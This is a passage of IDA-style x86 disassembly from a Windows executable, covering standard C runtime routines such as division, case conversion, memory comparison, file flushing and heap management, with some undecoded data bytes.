mov edx, ebx
jmp short loc_41DE3A
; ---------------------------------------------------------------------------
loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41DE07: ; CODE XREF: sub_41DDA0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41DE07
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41DE35
cmp edx, [esp+0Ch+arg_4]
ja short loc_41DE35
jb short loc_41DE36
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41DE36
loc_41DE35: ; CODE XREF: sub_41DDA0+85j
; sub_41DDA0+8Bj
dec esi
loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj
; sub_41DDA0+93j
xor edx, edx
mov eax, esi
loc_41DE3A: ; CODE XREF: sub_41DDA0+57j
dec edi
jnz short loc_41DE44
neg edx
neg eax
sbb edx, 0
loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DDA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DE4A proc near ; CODE XREF: sub_417493+BFp
; sub_417493+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DBE84
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41DE7E
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41DEE5
loc_41DE66: ; CODE XREF: sub_41DE4A+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41DE77
cmp cl, 7Ah
jg short loc_41DE77
sub cl, 20h
mov [edx], cl
loc_41DE77: ; CODE XREF: sub_41DE4A+21j
; sub_41DE4A+26j
inc edx
cmp [edx], bl
jnz short loc_41DE66
jmp short loc_41DEE5
; ---------------------------------------------------------------------------
loc_41DE7E: ; CODE XREF: sub_41DE4A+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_4232A8
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41DED7
push edi
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41DED7
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41DED7
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C890
pop ecx
pop ecx
loc_41DED7: ; CODE XREF: sub_41DE4A+53j
; sub_41DE4A+61j ...
push [ebp+var_4]
call sub_41BA91
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj
; sub_41DE4A+32j
pop ebx
leave
retn
sub_41DE4A endp
; =============== S U B R O U T I N E =======================================
sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p
arg_0 = dword ptr 4
cmp dword_43D084, 1
jle short loc_41DEFF
push 4
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DEFF: ; CODE XREF: sub_41DEE8+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41DEE8 endp
; =============== S U B R O U T I N E =======================================
sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p
; sub_420DB0+88p ...
arg_0 = dword ptr 4
cmp dword_43D084, 1
jle short loc_41DF27
push 8
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DF27: ; CODE XREF: sub_41DF10+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DF10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41DF8C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41DF8D
test eax, 1
jz short loc_41DF6D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41DFBA
inc esi
inc edi
dec eax
jz short loc_41DF8A
loc_41DF6D: ; CODE XREF: sub_41DF40+20j
; sub_41DF40+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41DFBA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41DFBA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41DF6D
loc_41DF8A: ; CODE XREF: sub_41DF40+2Bj
; sub_41DF40+84j
pop edi
pop esi
locret_41DF8C: ; CODE XREF: sub_41DF40+6j
retn
; ---------------------------------------------------------------------------
loc_41DF8D: ; CODE XREF: sub_41DF40+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41DFC2
repe cmpsd
jz short loc_41DFC2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
jnz short loc_41DFB5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41DFB5
cmp ch, dh
loc_41DFB5: ; CODE XREF: sub_41DF40+63j
; sub_41DF40+67j ...
mov eax, 0
loc_41DFBA: ; CODE XREF: sub_41DF40+26j
; sub_41DF40+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DFC2: ; CODE XREF: sub_41DF40+55j
; sub_41DF40+59j
test eax, eax
jz short loc_41DF8A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
cmp dh, ch
jnz short loc_41DFB5
dec eax
jz short loc_41DFE9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41DFB5
dec eax
loc_41DFE9: ; CODE XREF: sub_41DF40+8Fj
; sub_41DF40+96j
pop edi
pop esi
retn
sub_41DF40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFEC proc near ; CODE XREF: sub_4185B5+6p
; sub_4185D3+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE84, 0
push ebx
push esi
push edi
jnz short loc_41E019
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41E0B2
cmp eax, 5Ah
jg loc_41E0B2
add eax, 20h
jmp loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E019: ; CODE XREF: sub_41DFEC+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41E04D
cmp dword_43D084, esi
jle short loc_41E03B
push esi
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41E045
; ---------------------------------------------------------------------------
loc_41E03B: ; CODE XREF: sub_41DFEC+42j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, esi
loc_41E045: ; CODE XREF: sub_41DFEC+4Dj
test eax, eax
jnz short loc_41E04D
loc_41E049: ; CODE XREF: sub_41DFEC+ADj
mov eax, ebx
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E04D: ; CODE XREF: sub_41DFEC+3Aj
; sub_41DFEC+5Bj
mov edx, off_43CE78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E071
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41E07A
; ---------------------------------------------------------------------------
loc_41E071: ; CODE XREF: sub_41DFEC+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41E07A: ; CODE XREF: sub_41DFEC+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41E049
cmp eax, esi
jnz short loc_41E0A5
movzx eax, [ebp+var_4]
jmp short loc_41E0B2
; ---------------------------------------------------------------------------
loc_41E0A5: ; CODE XREF: sub_41DFEC+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41E0B2: ; CODE XREF: sub_41DFEC+16j
; sub_41DFEC+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41DFEC endp
; =============== S U B R O U T I N E =======================================
sub_41E0B7 proc near ; CODE XREF: sub_418AF1+ADp
; sub_419AE0+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41E0CE
loc_41E0C4: ; CODE XREF: sub_41E0B7+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41E0C4
loc_41E0CE: ; CODE XREF: sub_41E0B7+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41E0B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E0D4 proc near ; CODE XREF: sub_418AF1+7Fp
; sub_418AF1+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41E1A1
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41E1CE
cmp dword_4DBE84, esi
jnz short loc_41E125
cmp edi, esi
jbe loc_41E1CE
loc_41E104: ; CODE XREF: sub_41E0D4+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41E1CE
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41E104
jmp loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E125: ; CODE XREF: sub_41E0D4+26j
mov ebx, [ebp+arg_4]
mov esi, dword_4270E8
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DBE94
call esi
test eax, eax
jnz loc_41E1CD
nop
call near ptr 2680972h
cmp eax, 7Ah
jz short loc_41E15F
loc_41E150: ; CODE XREF: sub_41E0D4+CBj
; sub_41E0D4+F7j
mov dword_4DBDDC, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E15F: ; CODE XREF: sub_41E0D4+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41E167: ; CODE XREF: sub_41E0D4+B3j
mov cl, [eax]
test cl, cl
jz short loc_41E189
mov edx, off_43CE78
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41E17E
inc eax
loc_41E17E: ; CODE XREF: sub_41E0D4+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41E167
loc_41E189: ; CODE XREF: sub_41E0D4+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DBE94
call esi
test eax, eax
jnz short loc_41E1CE
jmp short loc_41E150
; ---------------------------------------------------------------------------
loc_41E1A1: ; CODE XREF: sub_41E0D4+Fj
cmp dword_4DBE84, esi
jnz short loc_41E1B4
push [ebp+arg_4]
call sub_41B9C0
pop ecx
jmp short loc_41E1CE
; ---------------------------------------------------------------------------
loc_41E1B4: ; CODE XREF: sub_41E0D4+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DBE94
nop
call near ptr 26F0000h
cmp eax, esi
jz short loc_41E150
loc_41E1CD: ; CODE XREF: sub_41E0D4+6Bj
dec eax
loc_41E1CE: ; CODE XREF: sub_41E0D4+1Aj
; sub_41E0D4+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41E0D4 endp
; ---------------------------------------------------------------------------
db 0C4h
dd 29C8A86Dh, 122F4F2h, 37200F44h, 0A164812Fh, 0
dd 25896450h, 0
dd 5358EC83h, 65895756h, 48E890E8h, 3302433Ah, 89D48AD2h
dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 0C4E8FC75h, 90000058h, 4339C3E8h, 0D38CA302h, 82E8004Dh
dd 0A3000057h, 4DBE34h, 552BE8h, 546DE800h, 0F9E80000h
dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2431D88h, 53FEE8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 65E89056h, 5002271Dh, 0FE2F80E8h, 0A04589FFh
dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3CE85150h
dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41E2C9 proc near ; CODE XREF: sub_41DA32+16p
; ___:00423721p ...
arg_0 = dword ptr 4
cmp dword_4DBE3C, 1
jnz short loc_41E2D7
call sub_423D98
loc_41E2D7: ; CODE XREF: sub_41E2C9+7j
push [esp+arg_0]
call sub_423DD1
push 0FFh
call off_43AE40
pop ecx
pop ecx
retn
sub_41E2C9 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_4DBE3C
dd 0E8057501h, 5A9Ch, 42474FFh, 5ACCE8h, 0FF685900h, 90000000h
dd 0A579A4E8h
db 77h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41E312 proc near ; CODE XREF: sub_41BA3B+2Ap
; sub_42423B+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DD140
jnb loc_41E3AC
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41E3AC
push edi
call sub_4240AA
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E38B
cmp edi, 1
jz short loc_41E359
cmp edi, 2
jnz short loc_41E36F
loc_41E359: ; CODE XREF: sub_41E312+40j
push 2
call sub_4240AA
push 1
mov ebp, eax
call sub_4240AA
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41E38B
loc_41E36F: ; CODE XREF: sub_41E312+45j
push edi
call sub_4240AA
pop ecx
push eax
nop
call near ptr 26608D5h
test eax, eax
jnz short loc_41E38B
nop
call near ptr 2680972h
mov ebp, eax
jmp short loc_41E38D
; ---------------------------------------------------------------------------
loc_41E38B: ; CODE XREF: sub_41E312+3Bj
; sub_41E312+5Bj ...
xor ebp, ebp
loc_41E38D: ; CODE XREF: sub_41E312+77j
push edi
call sub_424030
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41E3A8
push ebp
call sub_420C7F
pop ecx
jmp short loc_41E3BD
; ---------------------------------------------------------------------------
loc_41E3A8: ; CODE XREF: sub_41E312+8Bj
xor eax, eax
jmp short loc_41E3C0
; ---------------------------------------------------------------------------
loc_41E3AC: ; CODE XREF: sub_41E312+Ej
; sub_41E312+2Fj
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
loc_41E3BD: ; CODE XREF: sub_41E312+94j
or eax, 0FFFFFFFFh
loc_41E3C0: ; CODE XREF: sub_41E312+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41E312 endp
; =============== S U B R O U T I N E =======================================
sub_41E3C5 proc near ; CODE XREF: sub_41BA3B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41E3EE
test al, 8
jz short loc_41E3EE
push dword ptr [esi+8]
call sub_41BA91
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41E3EE: ; CODE XREF: sub_41E3C5+Aj
; sub_41E3C5+Ej
pop esi
retn
sub_41E3C5 endp
; =============== S U B R O U T I N E =======================================
sub_41E3F0 proc near ; CODE XREF: sub_41E490+2Dp
; sub_41E490+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41E402
push esi
call sub_41E490
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E402: ; CODE XREF: sub_41E3F0+7j
push esi
call sub_41E42B
test eax, eax
pop ecx
jz short loc_41E412
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E412: ; CODE XREF: sub_41E3F0+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41E427
push dword ptr [esi+10h]
call sub_4240E7
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41E427: ; CODE XREF: sub_41E3F0+26j
xor eax, eax
pop esi
retn
sub_41E3F0 endp
; =============== S U B R O U T I N E =======================================
sub_41E42B proc near ; CODE XREF: sub_41BA3B+1Ap
; ___:0041DAC2p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41E478
test ax, 108h
jz short loc_41E478
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41E478
push edi
push eax
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, edi
jnz short loc_41E471
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41E478
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41E478
; ---------------------------------------------------------------------------
loc_41E471: ; CODE XREF: sub_41E42B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41E478: ; CODE XREF: sub_41E42B+14j
; sub_41E42B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41E42B endp
; =============== S U B R O U T I N E =======================================
sub_41E487 proc near ; CODE XREF: sub_4241E3p
push 1
call sub_41E490
pop ecx
retn
sub_41E487 endp
; =============== S U B R O U T I N E =======================================
sub_41E490 proc near ; CODE XREF: sub_41E3F0+Ap
; sub_41E487+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DD020, esi
jle short loc_41E4EE
loc_41E4A1: ; CODE XREF: sub_41E490+5Cj
mov eax, dword_4DC01C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41E4E5
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41E4E5
cmp [esp+0Ch+arg_0], 1
jnz short loc_41E4CB
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41E4E5
inc ebx
jmp short loc_41E4E5
; ---------------------------------------------------------------------------
loc_41E4CB: ; CODE XREF: sub_41E490+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41E4E5
test cl, 2
jz short loc_41E4E5
push eax
call sub_41E3F0
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41E4E5
or edi, eax
loc_41E4E5: ; CODE XREF: sub_41E490+1Bj
; sub_41E490+23j ...
inc esi
cmp esi, dword_4DD020
jl short loc_41E4A1
loc_41E4EE: ; CODE XREF: sub_41E490+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41E4F9
mov eax, edi
loc_41E4F9: ; CODE XREF: sub_41E490+65j
pop edi
pop esi
pop ebx
retn
sub_41E490 endp
; =============== S U B R O U T I N E =======================================
sub_41E4FD proc near ; CODE XREF: ___:0041E660p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call near ptr 2690000h
nop
cmp word ptr [eax], 5A4Dh
jnz short loc_41E528
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41E528
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41E528: ; CODE XREF: sub_41E4FD+15j
; sub_41E4FD+1Cj
pop esi
retn
sub_41E4FD endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41C500
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
nop
call near ptr 26D04D8h
test eax, eax
jz short loc_41E56D
cmp dword ptr [ebp-88h], 2
jnz short loc_41E56D
cmp dword ptr [ebp-94h], 5
jb short loc_41E56D
push 1
pop eax
jmp loc_41E66F
; ---------------------------------------------------------------------------
loc_41E56D: ; CODE XREF: ___:0041E551j
; ___:0041E55Aj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call near ptr 2860000h
nop
test eax, eax
jz loc_41E65C
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41E5AF
loc_41E59C: ; CODE XREF: ___:0041E5ADj
mov al, [ecx]
cmp al, 61h
jl short loc_41E5AA
cmp al, 7Ah
jg short loc_41E5AA
sub al, 20h
mov [ecx], al
loc_41E5AA: ; CODE XREF: ___:0041E5A0j
; ___:0041E5A4j
inc ecx
cmp [ecx], bl
jnz short loc_41E59C
loc_41E5AF: ; CODE XREF: ___:0041E59Aj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41C850
add esp, 0Ch
test eax, eax
jnz short loc_41E5D1
lea eax, [ebp-122Ch]
jmp short loc_41E61A
; ---------------------------------------------------------------------------
loc_41E5D1: ; CODE XREF: ___:0041E5C7j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
nop
call near ptr 2670000h
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41E605
loc_41E5F2: ; CODE XREF: ___:0041E603j
mov al, [ecx]
cmp al, 61h
jl short loc_41E600
cmp al, 7Ah
jg short loc_41E600
sub al, 20h
mov [ecx], al
loc_41E600: ; CODE XREF: ___:0041E5F6j
; ___:0041E5FAj
inc ecx
cmp [ecx], bl
jnz short loc_41E5F2
loc_41E605: ; CODE XREF: ___:0041E5F0j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_41C2E0
pop ecx
pop ecx
loc_41E61A: ; CODE XREF: ___:0041E5CFj
cmp eax, ebx
jz short loc_41E65C
push 2Ch
push eax
call sub_41C990
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41E65C
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41E641
loc_41E633: ; CODE XREF: ___:0041E63Fj
cmp byte ptr [ecx], 3Bh
jnz short loc_41E63C
mov [ecx], bl
jmp short loc_41E63D
; ---------------------------------------------------------------------------
loc_41E63C: ; CODE XREF: ___:0041E636j
inc ecx
loc_41E63D: ; CODE XREF: ___:0041E63Aj
cmp [ecx], bl
jnz short loc_41E633
loc_41E641: ; CODE XREF: ___:0041E631j
push 0Ah
push ebx
push eax
call sub_41C586
add esp, 0Ch
cmp eax, 2
jz short loc_41E66F
cmp eax, 3
jz short loc_41E66F
cmp eax, 1
jz short loc_41E66F
loc_41E65C: ; CODE XREF: ___:0041E586j
; ___:0041E61Cj ...
lea eax, [ebp-4]
push eax
call sub_41E4FD
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41E66F: ; CODE XREF: ___:0041E568j
; ___:0041E650j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dw 0C033h
dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 451977E8h
dd 0A3C08502h, 4DD384h, 93E83674h, 83FFFFFEh, 88A303F8h
dd 75004DD3h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh
dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 0E890004Dh
dd 2442751h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h
dd 191EE890h, 0C085023Ah, 4DD37CA3h, 0C3017500h, 4244C8Bh
dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41E717 proc near ; CODE XREF: sub_41BA91+17p
; sub_41BBE2+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DD378
lea ecx, [eax+eax*4]
mov eax, dword_4DD37C
lea ecx, [eax+ecx*4]
loc_41E727: ; CODE XREF: sub_41E717+26j
cmp eax, ecx
jnb short loc_41E73F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41E741
add eax, 14h
jmp short loc_41E727
; ---------------------------------------------------------------------------
loc_41E73F: ; CODE XREF: sub_41E717+12j
xor eax, eax
locret_41E741: ; CODE XREF: sub_41E717+21j
retn
sub_41E717 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E742 proc near ; CODE XREF: sub_41BA91+23p
; sub_41BBE2+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41EA66
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41E818
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E7A6
push 3Fh
pop edx
loc_41E7A6: ; CODE XREF: sub_41E742+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E7FA
cmp edx, 20h
jnb short loc_41E7D1
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E7F2
; ---------------------------------------------------------------------------
loc_41E7D1: ; CODE XREF: sub_41E742+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E7F2
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E7F2: ; CODE XREF: sub_41E742+86j
; sub_41E742+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41E7FD
; ---------------------------------------------------------------------------
loc_41E7FA: ; CODE XREF: sub_41E742+6Aj
mov ecx, [ebp+var_4]
loc_41E7FD: ; CODE XREF: sub_41E742+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41E818: ; CODE XREF: sub_41E742+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E826
push 3Fh
pop edx
loc_41E826: ; CODE XREF: sub_41E742+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E8C9
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41E84B
mov ebx, esi
loc_41E84B: ; CODE XREF: sub_41E742+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41E85D
mov edx, esi
loc_41E85D: ; CODE XREF: sub_41E742+117j
cmp ebx, edx
jz short loc_41E8C4
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E8AC
cmp ebx, 20h
jnb short loc_41E88D
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E8AC
; ---------------------------------------------------------------------------
loc_41E88D: ; CODE XREF: sub_41E742+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E8AC
